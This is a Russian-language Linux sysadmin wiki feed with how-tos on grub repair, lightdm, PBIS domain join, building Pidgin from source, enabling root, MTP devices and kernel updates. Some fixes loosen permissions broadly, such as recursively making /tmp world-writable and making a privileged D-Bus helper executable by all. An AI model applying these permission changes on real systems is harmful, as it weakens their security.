После установки &lt;strong&gt;grub&lt;/strong&gt; нужно пересоздать файлик конфигурации &lt;strong&gt;/boot/grub/grub.cfg&lt;/strong&gt;. Без этого шага при загрузке будет появляться сообщение типа: &lt;br/&gt;

&lt;strong&gt;Gave up waiting for root device.&lt;/strong&gt; &lt;br/&gt;

&lt;strong&gt;ALERT: /dev/disk/by-uuid/… does not exist. Dropping to a shell!&lt;/strong&gt;.
Итак пересоздаем &lt;strong&gt;grub.cfg&lt;/strong&gt;.
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo mount --bind /dev /mnt/restore/dev
sudo mount --bind /proc /mnt/restore/proc
sudo mount --bind /sys  /mnt/restore/sys
sudo chroot /mnt/restore
sudo mv /boot/grub/grub.cfg /boot/grub/grub.cfg.old
sudo grub-mkconfig -o /boot/grub/grub.cfg
exit&lt;/pre&gt;

&lt;p&gt;
И последний штрих - переписываем UUID разделов в &lt;strong&gt;/etc/fstab&lt;/strong&gt;, вернее в &lt;strong&gt;/mnt/restore/etc/fstab&lt;/strong&gt;.
Узнать новые UUID разделов можно командой:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;blkid /dev/sdXy&lt;/pre&gt;

&lt;p&gt;
Все. Теперь можно перезагрузиться в восстановленную систему. 
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0412\u043e\u0441\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u043d\u0430 \u0434\u0440\u0443\u0433\u043e\u0439 \u0434\u0438\u0441\u043a&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0432\u043e\u0441\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435_\u043d\u0430_\u0434\u0440\u0443\u0433\u043e\u0439_\u0434\u0438\u0441\u043a&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:1,&amp;quot;secid&amp;quot;:6,&amp;quot;range&amp;quot;:&amp;quot;3023-4961&amp;quot;} --&gt;
&lt;h2 class=&quot;sectionedit7&quot; id=&quot;проблемы_и_их_решения&quot;&gt;Проблемы и их решения&lt;/h2&gt;
&lt;div class=&quot;level2&quot;&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u0438 \u0438\u0445 \u0440\u0435\u0448\u0435\u043d\u0438\u044f&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b_\u0438_\u0438\u0445_\u0440\u0435\u0448\u0435\u043d\u0438\u044f&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:1,&amp;quot;secid&amp;quot;:7,&amp;quot;range&amp;quot;:&amp;quot;4962-5013&amp;quot;} --&gt;
&lt;h3 class=&quot;sectionedit8&quot; id=&quot;не_стартуют_иксы&quot;&gt;Не стартуют иксы&lt;/h3&gt;
&lt;div class=&quot;level3&quot;&gt;

&lt;p&gt;
Надо смотреть на ошибки, но скорее всего, нет доступа на запись в папку &lt;strong&gt;/tmp&lt;/strong&gt;
выпоняем:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo chmod -R a+rw /tmp&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041d\u0435 \u0441\u0442\u0430\u0440\u0442\u0443\u044e\u0442 \u0438\u043a\u0441\u044b&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043d\u0435_\u0441\u0442\u0430\u0440\u0442\u0443\u044e\u0442_\u0438\u043a\u0441\u044b&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:1,&amp;quot;secid&amp;quot;:8,&amp;quot;range&amp;quot;:&amp;quot;5014-5236&amp;quot;} --&gt;
&lt;h3 class=&quot;sectionedit9&quot; id=&quot;lightdm&quot;&gt;lightdm&lt;/h3&gt;
&lt;div class=&quot;level3&quot;&gt;

&lt;p&gt;
При запуске KDE я столкнулся с проблемой запуска &lt;strong&gt;lightdm&lt;/strong&gt;. При старте не появляется &lt;strong&gt;Login Screen&lt;/strong&gt; где нужно выбрать пользователя и ввести пароль. Вместо него - черный экран.
При попытке запустить &lt;strong&gt;lightdm&lt;/strong&gt; он сообщает что: 
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;Error getting user list from org.freedesktop.Accounts
Failed to execute program /usr/lib/dbus-1.0/dbus-daemon-launch-helper: Success&lt;/pre&gt;

&lt;p&gt;
Тут помогла простая переустановка всех пакетов связанных с &lt;strong&gt;Lightdm&lt;/strong&gt;. В моем случае так:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo apt-get install --reinstall liblightdm-gobject-1-0 liblightdm-qt-3-0 lightdm lightdm-kde-greeter&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;lightdm&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;lightdm&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:1,&amp;quot;secid&amp;quot;:9,&amp;quot;range&amp;quot;:&amp;quot;5237-6036&amp;quot;} --&gt;
&lt;h3 class=&quot;sectionedit10&quot; id=&quot;pbis_ad&quot;&gt;PBIS AD&lt;/h3&gt;
&lt;div class=&quot;level3&quot;&gt;

&lt;p&gt;
Кроме того, машинка была в домене и из домена вылетела. Вводим ее обратно с помощью &lt;strong&gt;PowerBroker&lt;/strong&gt; (&lt;strong&gt;PBIS&lt;/strong&gt;):
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo /opt/pbis/bin/domainjoin-cli join domainName ADjoinAccountName&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;PBIS AD&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;pbis_ad&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:1,&amp;quot;secid&amp;quot;:10,&amp;quot;range&amp;quot;:&amp;quot;6037-6304&amp;quot;} --&gt;
&lt;h3 class=&quot;sectionedit11&quot; id=&quot;ошибка&quot;&gt;Ошибка&lt;/h3&gt;
&lt;div class=&quot;level3&quot;&gt;

&lt;p&gt;
&lt;strong&gt;
Error getting authority: Error initializing authority: Error calling StartServiceByName for org.freedesktop.PolicyKit1: GDBus.Error:org.freedesktop.DBus.Error.Spawn.ExecFailed: Failed to execute program /usr/lib/dbus-1.0/dbus-daemon-launch-helper: Permission denied&lt;/strong&gt;
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;chmod a+x /usr/lib/dbus-1.0/dbus-daemon-launch-helper&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041e\u0448\u0438\u0431\u043a\u0430&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043e\u0448\u0438\u0431\u043a\u0430&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:1,&amp;quot;secid&amp;quot;:11,&amp;quot;range&amp;quot;:&amp;quot;6305-&amp;quot;} --&gt;</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Sun, 12 Jan 2020 19:06:09 +0000</pubDate>
        </item>
        <item>
            <title>ubuntu_build_pidgin_from_source</title>
            <link>https://wiki.autosys.tk/linux_faq/ubuntu_build_pidgin_from_source</link>
            <description>
&lt;h1 class=&quot;sectionedit1&quot; id=&quot;проблема&quot;&gt;Проблема&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Недавно при очередном штатном обновлении &lt;strong&gt;Ubuntu 14.04&lt;/strong&gt; возникла проблема с зависимостями. 
Для плагина &lt;strong&gt;pidgin-sipe&lt;/strong&gt; оказался нужен &lt;strong&gt;remmina-plugin-rdp&lt;/strong&gt;, для него в свою очередь нужен &lt;strong&gt;libfreerdp1&lt;/strong&gt;, но сам &lt;strong&gt;pidgin-sipe&lt;/strong&gt; из репозитория &lt;strong&gt;Ubuntu 14.04&lt;/strong&gt; хочет установить &lt;strong&gt;libfreerdp2&lt;/strong&gt;. В результате &lt;strong&gt;libfreerdp1&lt;/strong&gt; конфиликтует с &lt;strong&gt;libfreerdp2&lt;/strong&gt; и плагин &lt;strong&gt;pidgin-sipe&lt;/strong&gt; не работает. &lt;br/&gt;

Положение  усугубилось тем, что при попытке собрать &lt;strong&gt;pidgin-sipe&lt;/strong&gt; из исходников он стал ругаться примерно так:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;purple-buddy.c: In function &amp;#039;sipe_backend_buddy_set_status&amp;#039;:
purple-buddy.c:331:3: error: implicit declaration of function &amp;#039;purple_prpl_got_user_status&amp;#039; [-Werror=implicit-function-declaration]
   purple_prpl_got_user_status(purple_private-&amp;gt;account, who,
   ^
purple-buddy.c:331:3: error: nested extern declaration of &amp;#039;purple_prpl_got_user_status&amp;#039; [-Werror=nested-externs]&lt;/pre&gt;

&lt;p&gt;
Оказалось, что функция &lt;strong&gt;purple_prpl_got_user_status&lt;/strong&gt; находится в заголовочном файле &lt;strong&gt;prpl.h&lt;/strong&gt;, который должен водить в состав пакета &lt;strong&gt;pidgin-dev&lt;/strong&gt; или &lt;strong&gt;libpurple-dev&lt;/strong&gt;, однако после установки этих пакетов в системе &lt;strong&gt;prpl.h&lt;/strong&gt; не появился.   &lt;br/&gt;

&lt;br/&gt;

Решение - установить &lt;strong&gt;Pidgin&lt;/strong&gt; и &lt;strong&gt;SIPE plugin&lt;/strong&gt; из исходников.  
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:1,&amp;quot;range&amp;quot;:&amp;quot;1-1676&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit2&quot; id=&quot;зависимости&quot;&gt;Зависимости&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;
&lt;pre class=&quot;code&quot;&gt;sudo apt-get install libgtk2.0-dev libxss-dev libstartup-notification0 libstartup-notification0-dev libavahi-glib-dev libperl-dev libgnutls-dev tcl8.4-dev tk8.4-dev libgtkspell0 libgtkspell-dev libxml2-dev libgstreamer0.10-dev libgstreamer-plugins-base0.10-dev libfarstream-0.1-dev python-farstream libfarstream-0.1-0 gir1.2-farstream-0.1 libmeanwhile-dev network-manager-dev&lt;/pre&gt;
&lt;pre class=&quot;code&quot;&gt;sudo apt-get install build-essential autoconf libtool autotools-dev automake libglib2.0-dev libgtk2.0-dev libvte-dev pidgin-dev gir1.2-appindicator-0.1 gir1.2-appindicator3-0.1 libappindicator-dev libappindicator0.1-cil libappindicator0.1-cil-dev libappindicator1 libappindicator3-1  libappindicator3-dev libappindicator3-0.1-cil libappindicator3-0.1-cil-dev libgtk2-appindicator-perl python-appindicator libxml2-dev libgstreamer-plugins-base1.0-dev libgstreamer-plugins-good1.0-0 libgstreamer-plugins-good1.0-dev libgstreamer1.0-dev libgstreamer-ocaml-dev libgstreamer0.10-dev libgstreamermm-1.0-dev libgstrtspserver-1.0-dev libqt5gstreamer-dev libqtgstreamer-dev libtelepathy-farstream-dev libfarstream-0.2-dev libfarstream-0.1-dev libidn11-dev libidn2-0-dev libmeanwhile-dev libavahi-common-dev libavahi-client-dev libavahi-core-dev libavahi-common-dev libavahi-client-dev libavahi-core-dev libavahi-compat-libdnssd-dev libavahi-glib-dev libavahi-gobject-dev libavahi-qt4-dev libavahi-ui-dev libavahi-ui-gtk3-dev libavahi-cil-dev libavahi-ui-cil-dev libmono-zeroconf-cil-dev libavahi-common-dev libavahi-client-dev libavahi-core-dev libavahi-compat-libdnssd-dev libavahi-glib-dev libavahi-gobject-dev libavahi-qt4-dev libavahi-ui-dev libavahi-cil-dev libavahi-ui-cil-dev libmono-zeroconf-cil-dev libnm-dev libnm-glib-dev libnm-glib-vpn-dev libnm-gtk-dev libnm-util-dev libnma-dev network-manager-dev libkf5networkmanagerqt-dev perlqt-dev libcurl4-gnutls-dev libgnutls-dev libgnutls28-dev libneon27-gnutls-dev libneon27-gnutls-dev libcurl4-gnutls-dev libsoup-gnome2.4-dev libsoup2.4-dev libapr-memcache-dev libghc-gnutls-dev tcl-dev tk-dev libx11-dev libxv-dev xorg-dev xserver-xorg-dev libgtkextra-dev libgtkglextmm-x11-1.2-dev&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0417\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0438&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0438&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:1,&amp;quot;secid&amp;quot;:2,&amp;quot;range&amp;quot;:&amp;quot;1677-3825&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit3&quot; id=&quot;скачиваем_конфигурируем_и_ставим&quot;&gt;Скачиваем, конфигурируем и ставим&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;
&lt;pre class=&quot;code&quot;&gt;wget http://iweb.dl.sourceforge.net/project/pidgin/Pidgin/2.10.12/pidgin-2.10.12.tar.bz2
tar -xvf ./pidgin-2.10.12.tar.bz2
cd pidgin-2.10.12
./configure
make
make check
sudo make install&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0421\u043a\u0430\u0447\u0438\u0432\u0430\u0435\u043c, \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0438\u0440\u0443\u0435\u043c \u0438 \u0441\u0442\u0430\u0432\u0438\u043c&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0441\u043a\u0430\u0447\u0438\u0432\u0430\u0435\u043c_\u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0438\u0440\u0443\u0435\u043c_\u0438_\u0441\u0442\u0430\u0432\u0438\u043c&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:1,&amp;quot;secid&amp;quot;:3,&amp;quot;range&amp;quot;:&amp;quot;3826-4106&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit4&quot; id=&quot;ставим_office_communicator_plugin&quot;&gt;Ставим Office Communicator Plugin&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Для поддержки &lt;strong&gt;Microsoft Lync&lt;/strong&gt; ставим &lt;strong&gt;SIPE Plugin&lt;/strong&gt;:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;wget http://iweb.dl.sourceforge.net/project/sipe/sipe/pidgin-sipe-1.20.1/pidgin-sipe-1.20.1.tar.gz
tar -xvf ./pidgin-sipe-1.20.1.tar.gz
cd pidgin-sipe-1.20.1
./configure
make
sudo make install&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0421\u0442\u0430\u0432\u0438\u043c Office Communicator Plugin&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0441\u0442\u0430\u0432\u0438\u043c_office_communicator_plugin&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:1,&amp;quot;secid&amp;quot;:4,&amp;quot;range&amp;quot;:&amp;quot;4107-4441&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit5&quot; id=&quot;ставим_plugin_для_whatsapp&quot;&gt;Ставим plugin для Whatsapp&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Из ppa как напсано тут: &lt;a href=&quot;https://davidgf.net/whatsapp/&quot; class=&quot;urlextern&quot; title=&quot;https://davidgf.net/whatsapp/&quot; rel=&quot;ugc nofollow&quot;&gt;https://davidgf.net/whatsapp/&lt;/a&gt; plugin почему-то не поставился. &lt;br/&gt;

Ставим из исходников:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo apt-get install protobuf-compiler libprotobuf-dev libfreeimage-dev
wget https://codeload.github.com/davidgfnet/whatsapp-purple/zip/master
unzip whatsapp-purple-master.zip
cd whatsapp-purple-master
make 
sudo make install&lt;/pre&gt;

&lt;p&gt;
Однако, у меня pidgin стал падать сразу при запуске (segfault) &lt;br/&gt;

Я удалил то что установилось и попробывал &lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo rm -rf /usr/local/lib/purple-2/libwhatsapp.so /usr/local/share/pixmaps/pidgin/protocols/16/whatsapp.png /usr/local/share/pixmaps/pidgin/protocols/22/whatsapp.png /usr/local/share/pixmaps/pidgin/protocols/48/whatsapp.png
make ARCH=x86_64&lt;/pre&gt;

&lt;p&gt;
Результат тот же.&lt;br/&gt;

Где-то нашел, что нужно обновить libfreerdp-dev. Ubuntu ставит по-умолчанию 3.15, но есть 3.17. Скачал исходники, собрал, но ничего не поменялось.  &lt;br/&gt;

Отложу это дело пока что. :( 
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0421\u0442\u0430\u0432\u0438\u043c plugin \u0434\u043b\u044f Whatsapp&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0441\u0442\u0430\u0432\u0438\u043c_plugin_\u0434\u043b\u044f_whatsapp&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:1,&amp;quot;secid&amp;quot;:5,&amp;quot;range&amp;quot;:&amp;quot;4442-&amp;quot;} --&gt;</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 11 Feb 2019 09:13:26 +0000</pubDate>
        </item>
        <item>
            <title>ubuntu_debian_reinstall_all_packages</title>
            <link>https://wiki.autosys.tk/linux_faq/ubuntu_debian_reinstall_all_packages</link>
            <description>&lt;pre class=&quot;code&quot;&gt;sudo su 
apt-get clean
apt-get update
for pkg in `dpkg --get-selections | awk &amp;#039;{print $1}&amp;#039; | egrep -v &amp;#039;(dpkg|apt|mysql|mythtv)&amp;#039;` ; do apt-get -y --force-yes install --reinstall $pkg ; done&lt;/pre&gt;
</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Wed, 13 Feb 2019 07:46:05 +0000</pubDate>
        </item>
        <item>
            <title>ubuntu_download_package_dependecies</title>
            <link>https://wiki.autosys.tk/linux_faq/ubuntu_download_package_dependecies</link>
            <description>
&lt;p&gt;
Для того, чтобы скачать пакет и все его зависимости делаем так:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;mkdir python_deps
cd python_deps
for i in $(apt-cache depends python | grep -E &amp;#039;Depends|Recommends|Suggests&amp;#039; | cut -d &amp;#039;:&amp;#039; -f 2,3 | sed -e s/&amp;#039;&amp;lt;&amp;#039;/&amp;#039;&amp;#039;/ -e s/&amp;#039;&amp;gt;&amp;#039;/&amp;#039;&amp;#039;/); do sudo apt-get download $i 2&amp;gt;&amp;gt;errors.txt; done&lt;/pre&gt;
</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 11 Feb 2019 09:13:26 +0000</pubDate>
        </item>
        <item>
            <title>ubuntu_enable_hibernate</title>
            <link>https://wiki.autosys.tk/linux_faq/ubuntu_enable_hibernate</link>
            <description>&lt;pre class=&quot;code&quot;&gt;sudo nano /etc/polkit-1/localauthority/50-local.d/com.ubuntu.enable-hibernate.pkla&lt;/pre&gt;

&lt;p&gt;
&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;[Re-enable hibernate by default in upower]
Identity=unix-user:*
Action=org.freedesktop.upower.hibernate
ResultActive=yes

[Re-enable hibernate by default in logind]
Identity=unix-user:*
Action=org.freedesktop.login1.hibernate;org.freedesktop.login1.handle-hibernate-key;org.freedesktop.login1;org.freedesktop.login1.hibernate-multiple-sessions;org.freedesktop.login1.hibernate-ignore-inhibit
ResultActive=yes&lt;/pre&gt;
</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 11 Feb 2019 09:13:26 +0000</pubDate>
        </item>
        <item>
            <title>ubuntu_enable_root_account</title>
            <link>https://wiki.autosys.tk/linux_faq/ubuntu_enable_root_account</link>
            <description>
&lt;h1 class=&quot;sectionedit1&quot; id=&quot;как_включить_учетку_root_в_ubuntu&quot;&gt;Как включить учетку root в ubuntu&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
По-умолчанию &lt;strong&gt;root&lt;/strong&gt; в &lt;strong&gt;ubuntu&lt;/strong&gt; выключен. Однако, иногда его нужно включить. &lt;br/&gt;

Чтобы это сделать нужно:
&lt;/p&gt;
&lt;ul&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 Задать пароль для &lt;strong&gt;root&lt;/strong&gt;:
&lt;/div&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;pre class=&quot;code&quot;&gt;sudo passwd root&lt;/pre&gt;
&lt;ul&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 Разблокировать учетку &lt;strong&gt;root&lt;/strong&gt;:
&lt;/div&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;pre class=&quot;code&quot;&gt;sudo passwd -u root&lt;/pre&gt;

&lt;/div&gt;
</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Tue, 21 May 2019 14:34:41 +0000</pubDate>
        </item>
        <item>
            <title>ubuntu_kde_mtp_device_not_available</title>
            <link>https://wiki.autosys.tk/linux_faq/ubuntu_kde_mtp_device_not_available</link>
            <description>
&lt;h1 class=&quot;sectionedit1&quot; id=&quot;проблема&quot;&gt;Проблема&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
При открытии в Dolphin устройства MTP - файлов не видно и появляется сообщение:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;mtp device not available&lt;/pre&gt;

&lt;p&gt;
Попытка посмотреть устройства с помощью &lt;strong&gt;mtp-tools&lt;/strong&gt; выдает такое:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo mtp-detect 
libmtp version: 1.1.18

Listing raw device(s)
Device 0 (VID=0e8d and PID=2008) is a MediaTek Inc MT65xx.
   Found 1 device(s):
   MediaTek Inc: MT65xx (0e8d:2008) @ bus 3, dev 9
Attempting to connect device(s)
libusb_claim_interface() reports device is busy, likely in use by GVFS or KDE MTP device handling alreadyLIBMTP PANIC: Unable to initialize device
Unable to open raw device 0
OK.&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:1,&amp;quot;range&amp;quot;:&amp;quot;1-727&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit2&quot; id=&quot;решение&quot;&gt;Решение&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Для начала надо посмотреть какие билиотеки для работы с &lt;strong&gt;MTP&lt;/strong&gt; установлены в системе и удалить лишние:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;dpkg -l | grep -i mtp
dpkg -l | grep -i gvfs&lt;/pre&gt;

&lt;p&gt;
У себя я оставил только &lt;strong&gt;gvfs&lt;/strong&gt; и &lt;strong&gt;mtp-tools&lt;/strong&gt;. Также для работы с &lt;strong&gt;MTP&lt;/strong&gt; могут быть использованы &lt;strong&gt;jmtpfs&lt;/strong&gt;, &lt;strong&gt;go-mtpfs&lt;/strong&gt;, &lt;strong&gt;mtpfs&lt;/strong&gt;, &lt;strong&gt;simple-mtpfs&lt;/strong&gt;, &lt;strong&gt;libmtp-git&lt;/strong&gt;. &lt;br/&gt;

Затем я посмотрел - не занято ли устройство чем-то: 
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;usb-devices
...
T:  Bus=03 Lev=01 Prnt=01 Port=01 Cnt=01 Dev#= 13 Spd=480 MxCh= 0
D:  Ver= 2.10 Cls=00(&amp;gt;ifc ) Sub=00 Prot=00 MxPS=64 #Cfgs=  1
P:  Vendor=0e8d ProdID=2008 Rev=ff.ff
S:  Manufacturer=MediaTek
S:  Product=BV8000Pro
S:  SerialNumber=PNQCWSU8PJHUONVC
C:  #Ifs= 1 Cfg#= 1 Atr=c0 MxPwr=192mA
I:  If#=0x0 Alt= 0 #EPs= 3 Cls=ff(vend.) Sub=ff Prot=00 Driver=usbfs   &lt;/pre&gt;

&lt;p&gt;
Тут находим &lt;strong&gt;Bus=…&lt;/strong&gt; и &lt;strong&gt;Dev#=&lt;/strong&gt; и смотрим:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;lsof /dev/bus/usb/003/013&lt;/pre&gt;

&lt;p&gt;
Оказывается устройство чем-то занято: 
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;COMMAND  PID USER   FD   TYPE  DEVICE SIZE/OFF NODE NAME
kiod5   4244 user   20u   CHR 189,268      0t0  636 /dev/bus/usb/003/013&lt;/pre&gt;

&lt;p&gt;
Прибиваем процесс:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo kill -9 4244&lt;/pre&gt;

&lt;p&gt;
И теперь девайс нормально работает в &lt;strong&gt;Dolphin&lt;/strong&gt;
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0420\u0435\u0448\u0435\u043d\u0438\u0435&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0440\u0435\u0448\u0435\u043d\u0438\u0435&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:1,&amp;quot;secid&amp;quot;:2,&amp;quot;range&amp;quot;:&amp;quot;728-&amp;quot;} --&gt;</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 21 Mar 2022 06:12:43 +0000</pubDate>
        </item>
        <item>
            <title>ubuntu_kernel_update</title>
            <link>https://wiki.autosys.tk/linux_faq/ubuntu_kernel_update</link>
            <description>
&lt;p&gt;
Скачиваем отсюда: &lt;a href=&quot;https://kernel.ubuntu.com/~kernel-ppa/mainline/?C=M;O=D&quot; class=&quot;urlextern&quot; title=&quot;https://kernel.ubuntu.com/~kernel-ppa/mainline/?C=M;O=D&quot; rel=&quot;ugc nofollow&quot;&gt;https://kernel.ubuntu.com/~kernel-ppa/mainline/?C=M;O=D&lt;/a&gt; &lt;br/&gt;

Например, я скачал версию &lt;strong&gt;5.18.4&lt;/strong&gt;. Устанавливаем ее:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;VER=5.18.4
sudo dpkg -i `find ~/Downloads -name &amp;quot;linux*$VER*.deb&amp;quot;`&lt;/pre&gt;

&lt;p&gt;
Ищем старые версии пакетов:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;dpkg -l | grep linux-&lt;/pre&gt;

&lt;p&gt;
Например, там обнаруживаются &lt;strong&gt;5.17.7&lt;/strong&gt;. Чистим их:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;VER=5.17.7
dpkg -l | grep -e linux-.*$VER | awk &amp;#039;{print $2}&amp;#039; | sudo DEBIAN_FRONTEND=noninteractive xargs apt-get purge -y&lt;/pre&gt;

&lt;p&gt;
И имеет смысл обновить все доступные firmwares:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;cd ~/Documents &amp;amp;&amp;amp; git clone --depth 1 https://kernel.googlesource.com/pub/scm/linux/kernel/git/firmware/linux-firmware.git
sudo cp ~/Documents/linux-firmware/amdgpu/* /lib/firmware/amdgpu \
&amp;amp;&amp;amp; sudo cp ~/Documents/linux-firmware/rt* /lib/firmware/ -R \
&amp;amp;&amp;amp; sudo update-initramfs -k all -u&lt;/pre&gt;

&lt;p&gt;
Иначе - могут быть всякие непонятные ошибки при работе и при сборке initramfs:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;W: Possible missing firmware /lib/firmware/amdgpu/...&lt;/pre&gt;
</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Tue, 24 Mar 2026 20:44:53 +0000</pubDate>
        </item>
        <item>
            <title>ubuntu_mplayer-gui_fails_to_open_png_read_error</title>
            <link>https://wiki.autosys.tk/linux_faq/ubuntu_mplayer-gui_fails_to_open_png_read_error</link>
            <description>
